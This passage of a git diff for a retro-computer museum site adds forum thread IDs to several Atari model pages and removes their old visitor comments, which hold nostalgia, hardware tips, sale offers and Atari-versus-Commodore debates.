wavy, but the letters themselves were eminently readable.\ - The Five and a Quad disk drive on mine came with the 3.0 dos that was a piece of crap, but my cousin with an 800 gave me a copy of 2.5 that worked much better. - - The 800XL and the 64 were the best composite 8 bit home computers of that time, and just about kissing cousins. This was the case to the point that some disk software such as my copy of Broderbund''s Paper Clip word processor included versions for both in the same box.\ - That being said, the Apple II trumped them in serious productive software and open architecture. - - author: roz smith (UK) - date: Friday 27th April 2012 - text: |- - I have a very large collection for sale. Includes consols, games and extras........\ - If anyone is interested please feel free to contact me for futher details. - - author: BoctorPoo - date: Sunday 26th February 2012 - text: The C64 fanboys are just making the system look bad for the rest of us who like both of them. - - author: midasmaze - date: Saturday 23rd April 2011 - text: |- - Yea, I love how commodore 64 people feel the need to post comments about how great their 16 colored, 1 mhz, low priced, made outta recycled Vic 20 computers, are. The facts are this, Atari was faster (1.79 mhz). had way more colors to pick from. Using display lists could show all of these colors at the sametime, and the Atari 8 bit games just look better. Want proof?, go play Shamus on both emulators, C64 and Atari 800.\ - Oh and I own almost every book ever made on the Atari''s, plenty of documentation to go around. (wouldnt have been able to make Midas Maze without them).\ - Maybe its just C64 people know the only reason the C64 out sold Atari''s is because it was low priced and Atari''s 2600 division tried to play down the 8-bit computers in fear it would cost them their jobs. nuff said. Oh and to the guy about the Amiga ,(it had displaylists too),. It was the son of Atari 8 bits , made by Jay Miner and team, same guy that did some of Atari''s custom graphic chips. The commodore 64 had no influence on the Amiga what so ever. Atari didnt wanna pay what they wanted for the Amiga so Commodore ended up with it. Stupid Atari corp. - - author: R6502A (London, England) - date: Friday 23rd April 2010 - text: |- - To David2200, - - Why do you C64 fanboys always have to junk Atari on Atari forums? There are many undocumented features of the Atari, and a host of other computers, that have been exploited to enhance graphics and sound. This sort of discovery is not unique to the C64. Take a look at YouTube for demos using HIP, TIP ans RIP software driven graphics modes. - - author: David2200 - date: Sunday 28th March 2010 - text: |- - Atari 600/800XL had faster CPU, and initially (at technical level) better graphics. But the problem with Atari was that a lot of advanced functions on their graphic hardware was undocumented$ Only some companies had that information for use in gaming software. On the other way all the Commodore hardware was excellently documented and totally available to all people. So anyone programmer or company had all the inforamtion for the Commodore but not for the Atari. - - Other fact was that Commodore was much cheaper and it sold very well: much more machines means much more games/Software. - - Finally, over time people discovered bugs in the VIC chip wich allowed to do things that even weren''t considered while designing the chip. Some were incredible effects. - - As a programmer (amateur or not) a would prefer C64 over Atari, becasuse I had all the information, and more things were discovered later (outside chip specifications). - - As a gamer: it is clear wich machine has much better game libray. - - Of course I like Atari 800XL very much, an it is the Amiga precursor, but if I had to chooes a machine over the two I''d go with a C64 (or a C128). - - author: Sign Of Rain (PA USA) - date: Sunday 3rd January 2010 - text: |- - Due to losing my job at the end of the year I have come to terms that I must sell off my Atari 800XL ENTIRE collection. It is now available on eBay. Feel free to e-mail me if you need additional photos of the games, etc. Thanks so much for being nice and sending this along to anyone who may have an interest. Item $160391970886 - Collectable Atari 800XL Home Computer w all accessories\ - http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem$item$160391970886 - - author: Randy Todhunter (Arkansas, USA) - date: Saturday 12th April 2008 - text: I have a used 800XL that I am interested in selling. It has a 1050 disk drive and NES monitor and an Okidata 182 dot matrix printer that would go with it. I bought it new, I think in 1984, but it has been boxed up for 20 years or so. I got it out today and hooked it up and everything still seems to work. The monitor begins to fade a little after its one for 30 minutes, but otherwise everything seems okay. I am trying to find the best venue for selling it, so please accept my apologies if this is not appropriate for this site. I would appreciate any suggestions that anyone would have of other sites where interested buyers could be found. Anyone have any idea what it would be workth? I have Visi-Calc and Speedscript that would go with it. - - author: Maarten Jongkind (Netherlands) - date: Tuesday 22nd May 2007 - text: |- - I bougth my atari 600XL together wit a memmory expension box in order to get from 16K to 64K, the same spec's as the 800XL byt according to my fellow atari users it made it a better machine than the 800XL wich had a sligtly differens os.\ - Because I was only 14 at the time I simply could only affort me a cassete drive for loading and saving programs, that cassettedrive was truly rubbisch, after a while using it, the knobs just broke off which I then repaired by replacing it by any of the other good knobs. After a while there were simply no knobs left. - - In those day's I went to a technical school where the use and the programming experience of the atari gave me a big advantage compared to the school wich still used Exody sorseres computers. I also remembered that the computer nerds at school were divided in Commodore 64 (50%) Atari (45%) and the rest, vic20 sinclair, TI and so on (5%) we constantly compared the capacity and spec's to eachother and the Atari alway came out on top. More colours, better imaging and a superiour soundchip. The problem however was that the marketing of the commodore was much better together with its availability of software and hardware excesories. - - The lesson than is repeated today looking at Microsft for example, Better is not a garantee of success. - - author: Daniel Clohesy (Melbourne, Australia) - date: Sunday 25th February 2007 - text: I have an Atari 600 computer with heaps of peripherals and games/software that I picked up at a garage sale for peanuts. Problem is, it lacks a transformer! I bought it anyway thinking that I might be able to pick one up later on (seeing as all this stuff only cost me $5!). So anyway, could anyone help me by telling me what sort of transformer I need or if anyone's got one to sell I'd be interested. I'm DYING to have a go on the machine and it would be a real shame if the system only served as a display piece. Thanks, mates! - - author: Stormtrooper of Death (Neo-Tokyo) - date: Sunday 21st January 2007 - text: |- - Concerning the 1050 diskdrive: It could be upgraded by several turbo-boards, like the US-Doubler or the Happy-board. In the past, I had a 1050 with Happy-turbo-upgrade, led-screen that showed tracks, and switch built to make disk protection on/off\ - The Atari 1050 diskdrive, was a very special diskdrive, that had the ability to have its rom re-programmed so, it could read MS-DOS disks or Apple disks. - - Also the XEP-80 add-on was a nice thing. You could do some 640x200 graphics, and the printer-interface of the XEP-80 could also be used for a modem or other serial devices (with the appropriate drivers, though) - - When using the Diamons OS, you could attach a normal Atari ST mouse to the XL/XE system, and could use it. - - If you soldered a second Pokey music chip on top of the on that was already on the motherboard, you could get 8 channels stereo-sound - - The original GTIA chip could display 4096 colors at screen by using interlace techniques. - - Greetings from Stormtrooper of Death, former member of the High Tech Team - - author: Olivier (France) - date: Thursday 15th June 2006 - text: |- - No, it will not. - - You can only use cartridge compatible with Atari 400, 800, 600XL, 800XL and XE gaming system (and all other XE & XL family systems). - - Atari 2600 was a completely different hardware - - author: Chopper (UK) - date: Thursday 15th June 2006 - text: |- - Hi All - - I've just found a 600 XL in good condition in my attic at home, but it only has the Missle Command game. My question is, do you know if the carts from a Atari 2600 will run in the 600? - - Thanks\ - C - - author: Martijn Scherjon (Holland) - date: Wednesday 31st May 2006 - text: |- - Of course there is no real competition between C64 and Atari 800XL, C64 is obviously a superior machine in all aspects (besides a few tech specs perhaps). I dont know why atari die hards want to footlight these machines so much.. Anyway, the 800XL was the computer that started my gaming frenzy which by now has been lasting over 20 years... My brother had a 600XL with an addon to make it a 800XL. Those days were the pioneering days of many a IT specialist. I remember my brother programming in basic, doing lengthy syntaxes and I was asking him "can't you just type "move left" and "move right" to make the sprite move ?". - - River Raid, Pitfall and Caverns of Mars were my old favos back then. Of course I bought myself a Commodore 64 a little bit later to be able to do some serious gaming... - - author: Jon N. (Los Angeles, CA) - date: Wednesday 10th May 2006 - text: This was my third computer, and probably the most used computer I ever had in the 80's. I bought it with a floppy drive (1050 I think), and had to drive all the way to Irvine, CA to get the other drive. I hooked up a Star Micronics Dot matrix printer to it. My first home office machine. I remember that I once had to replace the keyboard, and that was a real hassle. By then, Atari was switching to the SE line, and I sold the unit. This was the last of the commercial retail computers that I ever purchased. I then went on to a IBM XT Clone, that I assembled myself. - - author: Kroah (France) - date: Tuesday 31st January 2006 - text: |- - Hi, - - If you are a fan of MULE, have a look to my decompilation and reverse engineering page of this wonderful game. You'll find a lot of informations about the hidden rules used and secrets . http://bringerp.free.fr/RE/ - - author: Richard (Rio Rancho) - date: Friday 2nd December 2005 - text: Woah, looks like that $20 600XL of mine was more of a deal than I thought; it's a prototype/mockup unit! Contact me if you have questions, this thing is sure interesting... - - author: m chorley (derby, england) - date: Saturday 8th October 2005 - text: |- - olde retro: the 800xl and 600xl machines are a little different as the 600xl has less memory and is cosmetically smaller. its is harder to find 600xl's as i recall they were produced in a smaller quantity.\ - Frank(pennsylvania): the only games i can remember of this kind were the following: star raiders & star raiders II, Universe by a company called Omnitrend, there was a public domain game made in a similar vain to the Star Trek simulator, but I can't recall the name of it. - - author: Antonio (Peru) - date: Thursday 2nd June 2005 - text: |- - Hi, i also really started computing with the 800XL after getting my 2600 VCS, i got a 1020XE tape drive and many games in cassettes and some cartridges , the Atari computer was really something in programming and gaming of course , some years ago i had the luck to get more computers ,i already got 3 800XLs ,the 1020XE tape drive and a damaged 1027 printer , i'd like to know if anyone know how to do a network of these systems,or if someone wishes i could sell one.\ - Good luck! - - author: olde retroe (usa) - date: Wednesday 25th May 2005 - text: Is a 600xl a good computer? it's not really slow (as compared to others of it's time) is it? If I would get one, should I get 600xl or 800xl? - - author: Frank (Pennsylvania) - date: Wednesday 20th April 2005 - text: What was the name of the game for the Atari 800XL system that was similar to Star Trek, you had to plot a course, use energy, fight with phasers and torpedoes, and find and destroy all the bad guys (their names began with a K and a Z). I think you needed a disk drive. I wonder where I can find one of thiese games? Thanks. - - author: adamofevil (usa) - date: Monday 17th January 2005 - text: |- - I am sure that a lot of you Atari users once had an Atari 8-Bit computer back in the day. Maybe you still do. You might remember a classic game called M.U.L.E. A game that you wish would have been ported over to the PC but never was. - - If you are a M.U.L.E. fan like I am, you probably used to have hordes of your friends over your house to play the best 4-man multi-player game ever written! After playing this game for hours upon hours, days upon days, years upon years, finally everyone grew up or grew apart and stopped getting together to play. - - If you are a M.U.L.E. fan like I am, you probably have done a bit of M.U.L.E. re-searching on the internet, in hopes for one day someone to create an internet capable version of this great classic. - - Well, I have some very good news for you. If you run Windows (98/XP) operating system, THE WAIT IS OVER!!! - - Thanks to the authors of the Atari800WinPlus (http://atariarea.histeria.pl/PLus/index_us.htm) and Kaillera (www.kaillera.com), you can now play the greatest multiplayer game ever made with 4 players OVER THE INTERNET! This is not a clone, it is the ORIGINAL M.U.L.E. un-modified! Same graphics, same sound, same game! The only difference is that it looks a lot better on your computer than it did on your TV back in the day! - - If this interests you, please hop on over to http://atarimule.neotechgaming.com where M.U.L.E. fans from around the world have been gathering and playing online! - - Some of our members include the authors of the most popular M.U.L.E. web sites such as World of Mule (http://www.worldofmule.net/index.htm) and Extreme MULEing (http://mule.eichberger.net/index.php) and M.U.L.E. Fans (http://www.100hosting.com/mule/). Even the creator of the recent M.U.L.E. clone game Space HoRSE (www.gilligames.com) has joined up with us! - - Ahh, the feeling of playing with 4 human players again is quite exhilirating! SO, what are you waiting for? Join us now!! http://atarimule.neotechgaming.com. - - See you there! - - Adam - - author: Riki (Slovakia) - date: Sunday 2nd January 2005 - text: If you have ATARI 800 XL emulator for Symbian UIQ please tell mi about it. Thank you. - - author: Richard (Rio Rancho, New Mexico) - date: Thursday 30th December 2004 - text: I bought one of these (600XL) from an old game store called Noble for $20, in surprisingly mint condition. It's my first truly retro computer, and a pretty sweet one at that. From what I've heard, the 600XL model has dropped off the face of the planet, too. Now, I am on a quest to get more old computers! - - author: eitan (israel) - date: Thursday 5th August 2004 - text: |- - hi,\ - my first computer was the atari 800 XL, all my way started whith this computer.\ - today i have avery big hi-tec company whith 700 employee.\ - i search alot for atari 800 XL in good condition, but i not found any. if somone want to sale i'll be hapy to buy. - - author: M.CHORLEY (DERBY,ENGLAND) - date: Thursday 8th April 2004 - text: I used to own an 800XL from around 1985 to 1990, this debate about which computer was better between the 800xl & C64 was still raging back then. In my opinion the only thing that the c64 had over the 800xl was the bigger software support and the fact that most of the games made use of the memory onboard, whereas the 800xl games only normally utilized around the 48k region so that the games could be used on older atari macines such as the 800. So far as programing friendliness,graphics capability and sometimes sound (you could get some interesting sounds out of the pokey chip and the fact that it 1 more sound channel than the c64) the 800xl has the advantage over the c64. The best set up i had was the 800xl and a modified 1050disk drive fitted with a Happy Chip which made programs load in seconds rather than minutes, The Standard Atari Basic was a joy to use & then came along turbo basic which made things run a hell of alot faster. Friends that owned C64's could never seem to get - to grips with the BASIC that came with C64 and only tended to use the computer as a games machine, whereas Atari owners could do both. Sadly I sold my old 8-bit back in 1990 due to the increasing domination of 16-bits( shame Atari Didn't secure the rights of the Amiga Architecture rather than the poorer ST architecture), As i may of continued buying Atari products. But alas the firm went bust but the name still lives on. - - author: de.valdi (Germany) - date: Monday 8th March 2004 - text: |- - For me it all started with a used 800XL with an 'XE-generation' tape-drive and a lot of cassettes to feed it. At that time the ST-series already existed and in other countries my system wouldn't have been especially interesting, but I was living in Eastern Germany (=the GDR) and there it was a spectacular thing!\ - Now the GDR doesn't exist anymore, I'm a software developer and when I think back to the 'good old XL', I remember that GHz isn't everything :) - - author: Lucius (Ontario Canada) - date: Thursday 26th February 2004 - text: The Atari 800XL was my first computer. Ah those lost hours playing Moon Patrol. I also had a 4 pen mini-plotter. About the coolest thing it did was Spirographs on cash register paper...But hey, this was the 80's. - - author: Peter (Australia) - date: Saturday 17th January 2004 - text: |- - Hi, I'm looking for the worlds BEST picture for the Atari 800XL 64k system. If you think you have one please email it to me. So which one is better Atari800XL or Commodore64 ?\ - Pete related: - /museum/atari-1200-xl - /museum/atari-1400-xl diff --git a/content/museum/atari-65-130-xe.md b/content/museum/atari-65-130-xe.md index 88474de5..1147cef0 100644 --- a/content/museum/atari-65-130-xe.md +++ b/content/museum/atari-65-130-xe.md @@ -65,6 +65,7 @@ params: - links - docs - videos + forum_thread: 41 photos: - title: 65 XE MODEL subtitle: '' @@ -426,72 +427,6 @@ params: - title: Atari Home Computer laser disc - Conclusion url: https://www.youtube.com/watch?v=vQDQWvwZ-2w text: 'Length: 1 min 30 s' - comments: - - author: 130xe - date: Sunday 26th November 2017 - text: The different colors are the result of a bad video connection to you monitor. Try changing out the interface that connects to your monitor - - author: joseph (New-Brunswick Canada) - date: Saturday 27th February 2016 - text: |- - I am a owner of a 130XE since new in 1985, it was in the box for over 20years when decided to see if it still works.\ - I was surprise to see it did but after a hour I had it running as I was doing the self test, the video started to show and different colors...and still even after I turn it on and off...\ - Anyone has any idea what is happening? - - author: zozo (france) - date: Thursday 30th October 2014 - text: i have one in 1988 but i do anything with it - - author: Joe (USA) - date: Thursday 16th January 2014 - text: The 800XE was actually a 130XE with half the RAM, and not a modified 65XE. The 130XE and 800XE both used the same motherboard with the ECI port next to the cartridge slot. The 65XE did not have this expansion port so it is not the same machine as the 800XE. - - author: Kelly R. (Kenai, Alaska USA) - date: Tuesday 27th March 2012 - text: |- - A cousin owned one of these, with the Amy chip, and I have to agree that this chip did sound better, but not by too much. - - Also, there were ROM and other hardware differences which made it incompatible with some games and other software on diskette, necessitating the use of a special DOS patch. - - Still, this was an interesting and fun system to program and use. - - author: James - date: Monday 28th July 2008 - text: I spent my youth on atari & commodore. Started on Atari 2600, had commodore 64 for a while and when that died I had an 800xl which I soon upgraded to a 130XE which I still have. Now I've been using Atari computers for 20 years straight and have a decent collection now. I still have the same 130XE and it's still used alongside its 600XL and 800 brothers. And I'd like to say Hello to any members of TAF (Toronto Atari Federation) who happen to visit this page. - - author: Stormtrooper of Death (Europe) - date: Thursday 21st June 2007 - text: The 65XEM machine did have the AMY chip, but nobody at Atari knew how to program the Amy soundchip, so the machine was abandoned before it was released. The specs of the chip were indeed very interesting. It was very powerfull, with several polyphonic channels and also the ability to play samples, without slowing down the main 6502C CPU. - - author: Thomsonicus (Poland) - date: Tuesday 7th November 2006 - text: yeah, and people still modify it too! Even today on allegro.pl (Polish ebay :) you can find a 65XE with 4 MB of RAM, dual pokeys (stereo), a \~1GB HDD, and an RGB output. - - author: Stormtrooper of Death (Europe) - date: Sunday 5th November 2006 - text: My first Atari was an 600XL with 1064 ram extension, later i got an 800XL and finally an 130XE. I made several demos and games for this machine in assembly language with Atmas II. After all a very good and reliable machine, that always worked (not unlike MS Windows machines...). Even today, some people make games for this machines, like Jurasic Park II and Robocop. - - author: Kiril (Plovdiv, Bulgaria) - date: Tuesday 26th September 2006 - text: |- - Like Thomsonicus, my first home computer was Atari 130 XE with XC12 tape recorder. I had nothing else so I started to make a useful OS, cyrillic driver, cyrillic fonts and some functions of graphic user interface. Was a great time!\ - Then the PCs ate everithing...\ - By the way I keep my system yet and some times I enjoy to play with it :) - - author: Thomsonicus (Poland) - date: Tuesday 8th August 2006 - text: |- - 65XE was my first computer as well. I had a XC12 casette recorder too and, just like Kamil XXL, I also had the Turbo2000R installed. It featured a cartridge and a modification to the XC12 thanks to which it could run both the turbo and the normal version cassettes. Once I've read that the Turbo2000R cassette player was able to read data at the speed of 5 kbods (whatever that meant, maybe 5kbps?).\ - I also had a memory upgrade to 128kb RAM and in tests the computer was recognised as a 130XE system! Great stuff, still 100% working in 2006 :D\ - @Ashley: sure I remember! Joust was the first trackball game (woman made) - - author: Salvo (Potenza (PZ) [ITALY]) - date: Saturday 22nd July 2006 - text: |- - Hi, I'm looking for a power connector for ATARI 130XE.\ - Somebody can help me to find it?\ - Thank you...I'm sorryu for my language.... - - author: Ashley Powell (Guelph, ON, Canada) - date: Thursday 20th July 2006 - text: 'I had an Atari 600 XL and for some reason we upgraded to the 130XE. It was superior to the 600XL and 800XL in all aspects until the ST came out. Ran some great games until it fried one day playing Summer Games. Anyone remember: Spelunker, Murder on the Zinderneuf, Spy vs Spy, Infiltrator, SWAT, Mule, Decathalon, Ghostbusters, Gauntlet, Karate, Karateka, Boulderdash, and all the other usual ones like Joust, Frogger. I''ve been looking to buy a replacement off of ebay but they are rare now.' - - author: Kamiil XXL (Poland) - date: Friday 14th April 2006 - text: My first computer ;-) I got it also with two joysticks "Quickjoy", cassette recorder CA-12, cartridge called Turbo 2000 which sped up and made easier operations on tapes and also had a build-in BASIC interpreter and cable to connect computer to TV. Great stuff... I still have this machine and it still works... But off course I'm using PC now... - - author: James Cronin (UK) - date: Saturday 3rd December 2005 - text: I had an Atari 64 XE which I believe was the european version of the 65 XE. I dont have much to add apart from the fact it NEVER went wrong, and I had a small device that allowed it to connect to a standard centronics parallel port. The bable had the tape drive plug one one end and a centronitcs plug on the other with a chip and a set of dip switches inside. I also had a number of cartridges for it icluding Atari Writer which was a word processor wor it and allowed you to save your work to tape. However trying to find stuff again in the middle of a tape was always interesting. - - author: Blake Patterson (Alexanadria, VA) - date: Saturday 8th November 2003 - text: I have both an Atari 800XL and a 130XE - the video output on the 800XL is much superior than that of the 130XE. The fidelity of the image is far more presentable. An interesting thing to note. related: - /museum/atari-1200-xl - /museum/atari-1400-xl diff --git a/content/museum/atari-65xep-65xem.md b/content/museum/atari-65xep-65xem.md index 5b41d49e..eceea7d5 100644 --- a/content/museum/atari-65xep-65xem.md +++ b/content/museum/atari-65xep-65xem.md @@ -67,6 +67,7 @@ params: - links - docs - videos + forum_thread: 934 photos: - title: 65XEP LARGER VIEW subtitle: '' @@ -254,19 +255,6 @@ params: - title: Atari Home Computer laser disc - Conclusion url: https://www.youtube.com/watch?v=vQDQWvwZ-2w text: 'Length: 1 min 30 s' - comments: - - author: Asshat - date: Thursday 9th January 2014 - text: http://steamwalletcodes.com/ - - author: Asshat - date: Thursday 9th January 2014 - text: http://steamwalletcodes.com/ - - author: Asshat - date: Thursday 9th January 2014 - text: http://steamwalletcodes.com/ - - author: Stormtrooper of Death (europe) - date: Sunday 5th November 2006 - text: Although the 65XEM never made it to mass production, the 800XL and XE systems could be upgraded to Stereo sound, by adding a second POKEY chip to the mainboard. Then you could have 8 channels stereo sound (double as Amiga 4 channels... lol). Some newer games made use of this upgrade and had stereo sound-FX or music. related: - /museum/atari-1200-xl - /museum/atari-1400-xl diff --git a/content/museum/atari-7800-prosystem.md b/content/museum/atari-7800-prosystem.md index 80c26692..be12bd4b 100644 --- a/content/museum/atari-7800-prosystem.md +++ b/content/museum/atari-7800-prosystem.md @@ -60,6 +60,7 @@ params: - emulators - links - videos + forum_thread: 878 photos: - title: LEFT SIDE subtitle: '' @@ -237,22 +238,6 @@ params: - title: Atari 7800 commercial url: https://www.youtube.com/watch?v=Oxfsb1wvWb8 text: 'Length: 51s' - comments: - - author: walmartcartpusher - date: Saturday 18th April 2009 - text: |- - "Uhh, not much to say about this thing, one question, do you acually need to connect this to a computer or something cause i dont know where to connect the rf or w/e" - - should be the same as the Atari 2600 games/tv switch... - - author: Olivier (Earth) - date: Tuesday 9th August 2005 - text: Well, the European version has a special audio & video output connector -> scart connector. I guess the US version has also a audio & video output. - - author: Deadman101 (US) - date: Monday 8th August 2005 - text: Uhh, not much to say about this thing, one question, do you acually need to connect this to a computer or something cause i dont know where to connect the rf or w/e - - author: Jerry Reno (Bowie, MD) - date: Wednesday 27th July 2005 - text: The "Atari Flashback" miniconsole is, according to the label on the bottom, a "Mini 7800". It looks like a tiny 7800; iIt has five 7800 games in rom, with a dozen or so 2600 games. The two controllers look like 7800 controllers, but are not compatible, according to the manual. oc_id: 898 source: url: https://web.archive.org/web/20230530065125/http://www.old-computers.com/museum/computer.asp?c=898 diff --git a/content/museum/atari-800.md b/content/museum/atari-800.md index f39cd293..6f6bb257 100644 --- a/content/museum/atari-800.md +++ b/content/museum/atari-800.md @@ -70,6 +70,7 @@ params: - links - docs - videos + forum_thread: 455 photos: - title: LARGE VIEW subtitle: '' @@ -389,154 +390,6 @@ params: - title: Atari 800 laptop (modern creation) url: https://www.youtube.com/watch?v=ID1KsnermXk text: 'Length: 36 s' - comments: - - author: Doug Taylor (United States) - date: Sunday 27th November 2022 - text: Thanks for the memories - - author: Harvey (New Zealand) - date: Tuesday 16th July 2013 - text: |- - Here is a work in progress of a game/demo which shows that the\ - Atari 400/800 etc (48k) computers are still a wonderful computer system\ - that can completely dazzle and charm people today,\ - even though it may be 30 odd years later on... - - Here is the actual demo you can download and run: - - http://atariage.com/forums/topic/214476-gtiablast-wip-demo/ - - Here is a video of the game demo running... - - http://www.youtube.com/watch?v$4FSpBW7iRa4$feature$c4-overview$list$UUuS_WWw8gMxmjZSvzbNCElQ - - author: GameplayerSpecial - date: Tuesday 20th November 2012 - text: 'I made a Slideshow, of my Atari 800 with some cool details : http://www.youtube.com/watch?v$Njte9HpjHUs' - - author: Michael - date: Monday 19th November 2012 - text: Just played MULE last night. I love my old Atari 800, it makes a great conversation piece for visitors. The more games you have the more memories you share. - - author: Wally - date: Thursday 11th October 2012 - text: A great test of the sound system was M.U.L.E. God forbid you ever had the time to play it, but it had an epic sound track. The unfortunate NES version sound track is an Easter egg of SPORE. - - author: jack (wesley chapel, fl) - date: Thursday 30th December 2010 - text: now this brings back memories, i remember my atari 400 which had a tape disk drive to install its programs. i remember playing logic games with it that didn''t have graphics but you would type in what you wanted to do and if you did it right you got to go on. what a blast - - author: Adam Weisbrod - date: Monday 27th September 2010 - text: |- - I have one of these and a long time ago my dad made a extra altair 88XX type box to just act like a ATARI\ - 800 disk drive it had 2 5¼ disk drive units and a altari bus cage card cage and a power supply no screen no screen pcb and a specail cpm boot disk witch booted to cpm Atari emulation disk emulator file and then acted like a atari disk drive I have the connections still for the Atari SIO to disk box connections still on my atari800 but snipped it off when i got a 810 drive LAME I WISH I NEVER DID THAT BUT DID my dad probably threw the box away but it might still be in the basement if it is I will get it back and probably try to get it to work again! it was cool to have this wooden box that acted like two atari drives I could copy files on the Atari from drive 1 to drive 2 fast and could put the 810 on drive 3 and have 3 drives whopdtido anyway it was cool.\ - I also have finnaly figured out how to use ultra copy and APE shareware to get all my ORIGINAL Atari basic files onto a CD rom! .. now I can use a laptop as my Atari DRive or use a emulation file as Atari or VS VERSA its cool now I only need a STELLADAPTOR..! $$9786$ have fun. - - author: Robin Bithrey (UK) - date: Wednesday 7th April 2010 - text: |- - Amazing to see such great information about this fantastic machine. After progressing from a lowly ZX-81, this was another world being entered in 1983, with colour graphics and an amazing 16k of memory. After buying upgrades to make it 48k and also a floppy disk drive (the original 810 5 1/4" drive), it truly made it an amazing bit of kit and the envy of my friends with their Vic 20''s and C64''s and a tape machine. - - Having said that though, early days, although fun, were also frustrating and time consuming. I remember waiting 20minutes for Apple Panic to load on cassette and nearly an hour for Jumbo Jet Pilot (which wasn''t worth the wait!!), which is why we bought the disk drive (for another £400!!). Mind you, the worst bit was developing what i can only describe as ''Atari Ankles'' after sitting on them for hours on end playing ''Miner 2049''er'' and Bounty Bob Strikes Back. - - I used to sell Computers back in the dim and distant past and no matter what came along, my benchmark was this Atari 800 - competing against BBC model B''s, Acorn Electrons and Amstrad CPC464''s etc...Carried on being an Atari fan, buying a 130xe and a 520STFM afterwards, before converting to the ''Dark Side'' and getting an Amiga A600 when Atari finally gave up being popular. - - My parents still own the Atari 800 and, believe it or not, we had it out the other night. I have an 8 year old son who was fascinated by this ageing technology, but had great pleasure in attempting to play Zaxxon, Pac-Man, Preppie, Mr Robot''s Robot Factory, Rescue at Fractalus (we have the ''pilot'' called Behind Jaggi Lines), Pole Position, Claim Jumper and all of the brilliant games that we still have a box-full of sitting in the cupboard. - - Best memory has to be my mother sitting playing Centipede one Sunday afternoon and getting over 10million points - must have been some bug in the game, as she managed to find a spot for the little character to sit and all she had to do was keep the fire button pressed to rack up the points, only giving me the joystick when she needed the loo.... - - The biggest surprise though? I actually managed to get my mother''s telly tuned in to find the Atari!! And here was I thinking modern technology would have simply passed it all by.... - - Great machine, great memories - bring ''em back and more to the point, bring back some healthy competition between computers that all ran different operating systems and different software.....whoops, we''ve got it - they''re called games consoles nowadays though! - - author: Steve Melito (Troy, NY) - date: Thursday 1st November 2007 - text: |- - Yesterday was the anniversary of the shutdown of the last Multics machine! Multics was the first operating system to use a hierarchical file system, and the first OS to use the now-standard practice of per-process stacks in the kernel. For a brief retrospective, check out this story on CR4: The Engineer's Place for News and Discussion. - - http://cr4.globalspec.com/blogentry/3784/October-31-2000-The-Last-Multics-Machine - - And don't be shy about leaving a comment, especially if you've worked with Multics! - - author: Kroah (France) - date: Tuesday 31st January 2006 - text: |- - Hi,\ - If you are a fan of MULE, have a look to my decompilation and reverse engineering page of this wonderful game. You'll find a lot of informations about the hidden rules used and secrets . http://bringerp.free.fr/RE/ - - author: adamofevil (usa) - date: Monday 17th January 2005 - text: |- - I am sure that a lot of you Atari users once had an Atari 8-Bit computer back in the day. Maybe you still do. You might remember a classic game called M.U.L.E. A game that you wish would have been ported over to the PC but never was. - - If you are a M.U.L.E. fan like I am, you probably used to have hordes of your friends over your house to play the best 4-man multi-player game ever written! After playing this game for hours upon hours, days upon days, years upon years, finally everyone grew up or grew apart and stopped getting together to play. - - If you are a M.U.L.E. fan like I am, you probably have done a bit of M.U.L.E. re-searching on the internet, in hopes for one day someone to create an internet capable version of this great classic. - - Well, I have some very good news for you. If you run Windows (98/XP) operating system, THE WAIT IS OVER!!! - - Thanks to the authors of the Atari800WinPlus (http://atariarea.histeria.pl/PLus/index_us.htm) and Kaillera (www.kaillera.com), you can now play the greatest multiplayer game ever made with 4 players OVER THE INTERNET! This is not a clone, it is the ORIGINAL M.U.L.E. un-modified! Same graphics, same sound, same game! The only difference is that it looks a lot better on your computer than it did on your TV back in the day! - - If this interests you, please hop on over to http://atarimule.neotechgaming.com where M.U.L.E. fans from around the world have been gathering and playing online! - - Some of our members include the authors of the most popular M.U.L.E. web sites such as World of Mule (http://www.worldofmule.net/index.htm) and Extreme MULEing (http://mule.eichberger.net/index.php) and M.U.L.E. Fans (http://www.100hosting.com/mule/). Even the creator of the recent M.U.L.E. clone game Space HoRSE (www.gilligames.com) has joined up with us! - - Ahh, the feeling of playing with 4 human players again is quite exhilirating! SO, what are you waiting for? Join us now!! http://atarimule.neotechgaming.com. - - See you there! - - Adam - - author: Chuck (Odenton, MD) - date: Friday 14th January 2005 - text: I did my masters final in finance on my Atari 800 in 123. We were supposed to reconstruct the records from a burned out factory. I turned it in and got a "B"! I was at first livid, but the professor didn't know anything about the power of spreadsheets. I walked up and chatted with him, and told him, you don't understand, this is from a program, and I can operate the entire factory as CFO with this. The lights went on and I got an "A". I just found the old box! No power supply, no games, but I also found and remembered that I had modified it with a special chipset that allowed me to hack game code. The first game code I hacked was "Oils Well". In those days you could rent programs. I rented it, viewed the machine code (using this modification) viewed the assembly program, figured out what they were doing and broke the copy protection, and had my own copy. I was pretty proud. I can't even remember what the chipset is called. - - author: Keith (Islandia) - date: Sunday 27th June 2004 - text: |- - Here's my tribute:\ - From this computer I learned the fundamentals of computers. Bits, bytes... On my own at 15yrs. I'm forever indebted to the Atari for having the right balance of high and low level home computing. BASIC one day, Assembly on another; just change the cartridge! Thank you Atari. - - author: Thor Madsen (Chicago) - date: Monday 15th March 2004 - text: |- - The Atari 800 was my first home computer - when I could finally afford it at the tail-end of its life. I created a pong game using the BASIC cart and then pulled the plug - nice! So, since my Mom sold it at a garage sale with the proverbial baseball cards, I am buying another one on eBay today - WITH the accessory tape recorder (program recorder)! - - So - to answer some parts questions below - Check out eBay. . . - - author: Pete (Kentucky) - date: Friday 13rd February 2004 - text: |- - i have an 800 that i picked up at a resale shop\ - and it didn't come with any AC adapter.\ - i had an AC laying around and when i pluged it into the 800,when i pressed the keys it would make some beeps though it gave off a overheating smell\ - after about 1min.what do i do? - - ps.no monitor - - author: Brian (Charlotte) - date: Thursday 9th October 2003 - text: I have an Atari 800 computer and an Amdek monitor. My question would be what cable would I use to connect the single cable coming out of the back of the Atari to the RCA type connection on the back of the Monitor I know how to hook it up to a TV with a box but not the two audio and Video plug-ins on the back of the monitor any info on what the part or cable is called or where I could source it would be greatly appreciated Thanks - - author: Kieran (UK) - date: Sunday 21st September 2003 - text: My one uses a 9VAC at 3.4A unit. Hope that helps - - author: Susan (St. Louis) - date: Monday 8th September 2003 - text: Does anyone know what kind of power supply this computer uses? - - author: Gregory Carter (USA) - date: Thursday 28th August 2003 - text: |- - Poke 559,0 - - Instant turbo boost. Came in quite handy when running my BBS at 480 Baud!\ - Of course, ANTIC gets turned off if you do that, so you do not get a display.\ - However, a Poke 559,38 turned the screen back on again, and well, your performance was reduced by a good 40%.\ - Or you could do:\ - LDA #0\ - STA 559\ 